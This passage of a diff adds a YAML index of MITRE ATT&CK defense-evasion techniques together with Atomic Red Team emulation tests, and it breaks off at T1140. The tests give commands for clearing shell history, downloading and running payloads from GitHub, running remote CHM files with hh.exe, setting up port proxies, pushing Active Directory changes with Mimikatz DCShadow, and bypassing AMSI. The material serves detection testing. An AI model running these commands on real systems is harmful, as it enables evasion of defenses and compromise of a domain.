setting + the history size to zero + + ' + supported_platforms: + - linux + - macos + executor: + name: sh + command: | + unset HISTFILE + export HISTFILESIZE=0 + history -c + T1500: + technique: + x_mitre_permissions_required: + - User + x_mitre_data_sources: + - Process command-line parameters + - Process monitoring + - File monitoring + name: Compile After Delivery + description: | + Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018) + + Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac) + id: attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925 + modified: '2019-04-29T21:13:49.686Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Compiler software (either native to the system or delivered by the adversary) + type: attack-pattern + x_mitre_detection: 'Monitor the execution file paths and command-line arguments + for common compilers, such as csc.exe and GCC/MinGW, and correlate with other + suspicious behavior to reduce false positives from normal user and administrator + behavior. The compilation of payloads may also generate file creation and/or + file write events. Look for non-native binary formats and cross-platform compiler + and execution frameworks like Mono and determine if they have a legitimate + purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these + should only be used in specific and limited cases, like for software development.' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank + - Praetorian + created: '2019-04-25T20:53:07.719Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - source_name: mitre-attack + external_id: T1500 + url: https://attack.mitre.org/techniques/T1500 + - source_name: ClearSky MuddyWater Nov 2018 + description: 'ClearSky Cyber Security. (2018, November). MuddyWater Operations + in Lebanon and Oman: Using an Israeli compromised domain for a two-stage + campaign. Retrieved November 29, 2018.' + url: https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf + - description: Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads + Info Stealer and Adware. Retrieved April 25, 2019. + source_name: TrendMicro WindowsAppMac + url: https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/ + x_mitre_defense_bypassed: + - Static File Analysis + - Binary Analysis + - Anti-virus + - Host intrusion prevention systems + - Signature-based detection + identifier: T1500 + atomic_tests: + - name: Compile After Delivery using csc.exe + description: | + Compile C# code using csc.exe binary used by .NET + Upon execution an exe named T1500.exe will be placed in the temp folder + supported_platforms: + - windows + input_arguments: + input_file: + description: C# code that launches calc.exe from a hidden cmd.exe Window + type: Path + default: PathToAtomicsFolder\T1500\src\calc.cs + output_file: + description: Output compiled binary + type: Path + default: C:\Windows\Temp\T1500.exe + dependency_executor_name: powershell + dependencies: + - description: C# file must exist on disk at specified location (#{input_file}) + prereq_command: 'if (Test-Path #{input_file}) {exit 0} else {exit 1}' + get_prereq_command: |- + New-Item -Type Directory (split-path #{input_file}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1500/src/calc.cs" -OutFile "#{input_file}" + executor: + name: command_prompt + elevation_required: false + command: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:#{output_file} + #{input_file} + + ' + cleanup_command: 'del #{output_file} >nul 2>&1 + + ' + T1223: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + name: Compiled HTML File + description: |- + Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) + + Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017) + x_mitre_remote_support: false + id: attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a + modified: '2019-07-16T20:59:55.841Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: |- + Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. + + Monitor presence and use of CHM files, especially if they are not typically used within an environment. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International + created: '2018-10-17T00:14:20.652Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1223 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1223 + - description: Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved + October 3, 2018. + source_name: Microsoft HTML Help May 2018 + url: https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk + - description: Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved + October 3, 2018. + source_name: Microsoft HTML Help ActiveX + url: https://msdn.microsoft.com/windows/desktop/ms644670 + - description: Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved + October 3, 2018. + source_name: Microsoft HTML Help Executable Program + url: https://msdn.microsoft.com/windows/desktop/ms524405 + - description: Moe, O. (2017, August 13). Bypassing Device guard UMCI using + CHM – CVE-2017-8625. Retrieved October 3, 2018. + source_name: MsitPros CHM Aug 2017 + url: https://msitpros.com/?p=3909 + - description: Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer + Security Feature Bypass Vulnerability. Retrieved October 3, 2018. + source_name: Microsoft CVE-2017-8625 Aug 2017 + url: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625 + x_mitre_defense_bypassed: + - Application whitelisting + - Digital Certificate Validation + identifier: T1223 + atomic_tests: + - name: Compiled HTML Help Local Payload + description: | + Uses hh.exe to execute a local compiled HTML Help payload. + Upon execution calc.exe will open + supported_platforms: + - windows + input_arguments: + local_chm_file: + description: Local .chm payload + type: path + default: PathToAtomicsFolder\T1223\src\T1223.chm + dependency_executor_name: powershell + dependencies: + - description: The payload must exist on disk at specified location (#{local_chm_file}) + prereq_command: 'if (Test-Path #{local_chm_file}) {exit 0} else {exit 1}' + get_prereq_command: |- + New-Item -Type Directory (split-path #{local_chm_file}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1223/src/T1223.chm" -OutFile "#{local_chm_file}" + executor: + name: command_prompt + elevation_required: false + command: 'hh.exe #{local_chm_file} + + ' + - name: Compiled HTML Help Remote Payload + description: | + Uses hh.exe to execute a remote compiled HTML Help payload. + Upon execution displays an error saying the file cannot be open + supported_platforms: + - windows + input_arguments: + remote_chm_file: + description: Remote .chm payload + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1223/src/T1223.chm + executor: + name: command_prompt + elevation_required: false + command: 'hh.exe #{remote_chm_file} + + ' + T1090: + technique: + x_mitre_data_sources: + - Process use of network + - Process monitoring + - Netflow/Enclave netflow + - Packet capture + name: Connection Proxy + description: |- + Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. + + External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the internet and then the proxy would forward communications to the C2 server. + + Internal connection proxies can be used to consolidate internal connections from compromised systems. Adversaries may use a compromised internal system as a proxy in order to conceal the true destination of C2 traffic. The proxy can redirect traffic from compromised systems inside the network to an external C2 server making discovery of malicious traffic difficult. Additionally, the network can be used to relay information from one system to another in order to avoid broadcasting traffic to all systems. + id: attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea + modified: '2019-07-08T21:11:18.343Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + type: attack-pattern + x_mitre_detection: |- + Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious. + + Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Brian Prange + - Heather Linn + - Walker Johnson + created: '2017-05-31T21:31:08.479Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: command-and-control + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1090 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1090 + - source_name: Trend Micro APT Attack Tools + description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools + of the Trade. Retrieved December 2, 2015.' + url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ + - source_name: University of Birmingham C2 + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. + url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + x_mitre_defense_bypassed: + - Log Analysis + - Firewall + identifier: T1090 + atomic_tests: + - name: Connection Proxy + description: | + Enable traffic redirection. + + Note that this test may conflict with pre-existing system configuration. + supported_platforms: + - macos + - linux + input_arguments: + proxy_server: + description: Proxy server URL (host:port) + type: url + default: 127.0.0.1:8080 + proxy_scheme: + description: Protocol to proxy (http or https) + type: string + default: http + executor: + name: sh + command: 'export #{proxy_scheme}_proxy=#{proxy_server} + + ' + cleanup_command: | + unset http_proxy + unset https_proxy + - name: portproxy reg key + description: | + Adds a registry key to set up a proxy on the endpoint at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4 + Upon execution there will be a new proxy entry in netsh + netsh interface portproxy show all + supported_platforms: + - windows + input_arguments: + listenport: + description: Specifies the IPv4 port, by port number or service name, on + which to listen. + type: string + default: 1337 + connectport: + description: Specifies the IPv4 port, by port number or service name, to + which to connect. If connectport is not specified, the default is the + value of listenport on the local computer. + type: string + default: 1337 + connectaddress: + description: Specifies the IPv4 address to which to connect. Acceptable + values are IP address, computer NetBIOS name, or computer DNS name. If + an address is not specified, the default is the local computer. + type: string + default: 127.0.0.1 + executor: + name: powershell + elevation_required: true + command: netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} + connectaddress=#{connectaddress} + cleanup_command: netsh interface portproxy delete v4tov4 listenport=#{listenport} + T1196: + technique: + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + x_mitre_data_sources: + - API monitoring + - Binary file metadata + - DLL monitoring + - Windows Registry + - Windows event logs + - Process command-line parameters + - Process monitoring + name: Control Panel Items + description: |- + Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) + + For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL) + + Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting. + x_mitre_remote_support: false + id: attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014) + + Inventory Control Panel items to locate unregistered and potentially malicious files present on systems: + + * Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace and HKEY_CLASSES_ROOT\CLSID\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL) + * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL) + * Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL) + + Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-07-16T21:10:28.299Z' + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1196 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1196 + - source_name: Microsoft Implementing CPL + description: M. (n.d.). Implementing Control Panel Items. Retrieved January + 18, 2018. + url: https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx + - source_name: TrendMicro CPL Malware Jan 2014 + description: Mercês, F. (2014, January 27). CPL Malware - Malicious Control + Panel Items. Retrieved January 18, 2018. + url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf + - source_name: TrendMicro CPL Malware Dec 2013 + description: Bernardino, J. (2013, December 17). Control Panel Files Used + As Malicious Attachments. Retrieved January 18, 2018. + url: https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/ + - source_name: Palo Alto Reaver Nov 2017 + description: Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New + Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017. + url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/ + x_mitre_defense_bypassed: + - Application whitelisting + - Process whitelisting + identifier: T1196 + atomic_tests: + - name: Control Panel Items + description: | + This test simulates an adversary leveraging control.exe + Upon execution calc.exe will be launched + supported_platforms: + - windows + input_arguments: + cpl_file_path: + description: path to cpl file + type: path + default: PathToAtomicsFolder\T1196\bin\calc.cpl + dependency_executor_name: powershell + dependencies: + - description: Cpl file must exist on disk at specified location (#{cpl_file_path}) + prereq_command: 'if (Test-Path #{cpl_file_path}) {exit 0} else {exit 1}' + get_prereq_command: |- + New-Item -Type Directory (split-path #{cpl_file_path}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1196/bin/calc.cpl" -OutFile "#{cpl_file_path}" + executor: + name: command_prompt + elevation_required: false + command: 'control.exe #{cpl_file_path} + + ' + T1207: + technique: + x_mitre_data_sources: + - API monitoring + - Authentication logs + - Network protocol analysis + - Packet capture + x_mitre_permissions_required: + - Administrator + name: DCShadow + description: |- + DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. + + Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) + + This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) + id: attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + x_mitre_detection: |- + Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) + + Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) + + Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018) + + Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Vincent Le Toux + created: '2018-04-18T17:59:24.739Z' + modified: '2018-10-17T00:14:20.652Z' + external_references: + - external_id: T1207 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1207 + - description: Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, + 2018. + source_name: DCShadow Blog + url: https://www.dcshadow.com/ + - description: 'Delpy, B. & LE TOUX, V. (2018, January 24). Active Directory: + What can make your million dollar SIEM go blind?. Retrieved March 20, 2018.' + source_name: BlueHat DCShadow Jan 2018 + - description: Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz + & Command Reference. Retrieved December 23, 2015. + source_name: Adsecurity Mimikatz Guide + url: https://adsecurity.org/?page_id=1821 + - description: Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March + 30, 2018. + source_name: GitHub DCSYNCMonitor + url: https://github.com/shellster/DCSYNCMonitor + - description: Lucand,G. (2018, February 18). Detect DCShadow, impossible?. + Retrieved March 30, 2018. + source_name: ADDSecurity DCShadow Feb 2018 + url: https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html + - description: Microsoft. (n.d.). Polling for Changes Using the DirSync Control. + Retrieved March 30, 2018. + source_name: Microsoft DirSync + url: https://msdn.microsoft.com/en-us/library/ms677626.aspx + x_mitre_defense_bypassed: + - Log analysis + identifier: T1207 + atomic_tests: + - name: DCShadow - Mimikatz + description: | + Utilize Mimikatz DCShadow method to simulate behavior of a Domain Controller + + [DCShadow](https://www.dcshadow.com/) + [Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html) + supported_platforms: + - windows + executor: + name: manual + steps: | + 1. Start Mimikatz and use !processtoken (and not token::elevate - as it elevates a thread) to escalate to SYSTEM. + 2. Start another mimikatz with DA privileges. This is the instance which registers a DC and is used to "push" the attributes. + 3. lsadump::dcshadow /object:ops-user19$ /attribute:userAccountControl /value:532480 + 4. lsadump::dcshadow /push + T1038: + technique: + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + x_mitre_data_sources: + - File monitoring + - DLL monitoring + - Process monitoring + - Process command-line parameters + name: DLL Search Order Hijacking + description: "Windows systems use a common method to look for required DLLs + to load into a program. (Citation: Microsoft DLL Search) Adversaries may take + advantage of the Windows DLL search order and programs that ambiguously specify + DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform + DLL preloading, also called binary planting attacks, (Citation: OWASP Binary + Planting) by placing a malicious DLL with the same name as an ambiguously + specified DLL in a location that Windows searches before the legitimate DLL. + Often this location is the current working directory of the program. Remote + DLL preloading attacks occur when a program sets its current directory to + a remote location such as a Web share before loading a DLL. (Citation: Microsoft + 2269637) Adversaries may use this behavior to cause the program to load a + malicious DLL. \n\nAdversaries may also directly modify the way a program + loads DLLs by replacing an existing DLL or modifying a .manifest or .local + redirection file, directory, or junction to cause the program to load a different + DLL to maintain persistence or privilege escalation. (Citation: Microsoft + DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search + Order)\n\nIf a search order-vulnerable program is configured to run at a higher + privilege level, then the adversary-controlled DLL that is loaded will also + be executed at the higher level. In this case, the technique could be used + for privilege escalation from user to administrator or SYSTEM or from administrator + to SYSTEM, depending on the program.\n\nPrograms that fall victim to path + hijacking may appear to behave normally because malicious DLLs may be configured + to also load the legitimate DLLs they were meant to replace." + id: attack-pattern--46944654-fcc1-4f63-9dad-628102376586 + modified: '2019-07-24T15:07:22.266Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Ability to add a DLL, manifest file, or .local file, directory, or junction. + type: attack-pattern + x_mitre_detection: Monitor file systems for moving, renaming, replacing, or + modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared + with past behavior) that do not correlate with known software, patches, etc., + are suspicious. Monitor DLLs loaded into a process and detect DLLs that have + the same file name but abnormal paths. Modifications to or creation of .manifest + and .local redirection files that do not correlate with software updates are + suspicious. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Stefan Kanthak + - Travis Smith, Tripwire + created: '2017-05-31T21:30:40.604Z' + x_mitre_effective_permissions: + - User + - Administrator + - SYSTEM + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1038 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1038 + - source_name: capec + external_id: CAPEC-471 + url: https://capec.mitre.org/data/definitions/471.html + - source_name: Microsoft DLL Search + description: Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved + November 30, 2014. + url: http://msdn.microsoft.com/en-US/library/ms682586 + - source_name: OWASP Binary Planting + description: OWASP. (2013, January 30). Binary planting. Retrieved June 7, + 2016. + url: https://www.owasp.org/index.php/Binary_planting + - source_name: Microsoft 2269637 + description: Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 + Released. Retrieved December 5, 2014. + url: http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx + - source_name: Microsoft DLL Redirection + description: Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved + December 5, 2014. + url: http://msdn.microsoft.com/en-US/library/ms682600 + - source_name: Microsoft Manifests + description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. + url: https://msdn.microsoft.com/en-US/library/aa375365 + - source_name: Mandiant Search Order + description: Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. + Retrieved December 5, 2014. + url: https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/ + x_mitre_defense_bypassed: + - Process whitelisting + identifier: T1038 + atomic_tests: + - name: DLL Search Order Hijacking - amsi.dll + description: | + Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface) + https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/ + + Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path. + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: | + copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe + copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll + %APPDATA%\updater.exe -Command exit + cleanup_command: | + del %APPDATA%\updater.exe >nul 2>&1 + del %APPDATA%\amsi.dll >nul 2>&1 + T1073: + technique: + x_mitre_data_sources: + - Process use of network + - Process monitoring + - Loaded DLLs + name: DLL Side-Loading + description: |- + Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014) + + Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process. + id: attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor processes for unusual activity (e.g., a process that + does not use the network begins to do so). Track DLL metadata, such as a hash, + and compare DLLs that are loaded at process execution time against previous + executions to detect differences that do not correlate with patching or updates. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-07-17T19:22:37.443Z' + created: '2017-05-31T21:30:58.007Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1073 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1073 + - source_name: capec + external_id: CAPEC-641 + url: https://capec.mitre.org/data/definitions/641.html + - source_name: MSDN Manifests + description: Microsoft. (n.d.). Manifests. Retrieved June 3, 2016. + url: https://msdn.microsoft.com/en-us/library/aa375365 + - source_name: Stewart 2014 + description: 'Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of + the Anti-Virus Industry. Retrieved November 12, 2014.' + url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf + x_mitre_defense_bypassed: + - Process whitelisting + - Anti-virus + identifier: T1073 + atomic_tests: + - name: DLL Side-Loading using the Notepad++ GUP.exe binary + description: 'GUP is an open source signed binary used by Notepad++ for software + updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl + dll to be loaded + + ' + supported_platforms: + - windows + input_arguments: + process_name: + description: Name of the created process + type: string + default: calculator.exe + executor: + name: command_prompt + elevation_required: false + command: "$PathToAtomicsFolder\\T1073\\bin\\GUP.exe\n" + cleanup_command: 'taskkill /F /IM #{process_name}' + T1140: + technique: + x_mitre_permissions_required: + - User + x_mitre_data_sources: + - 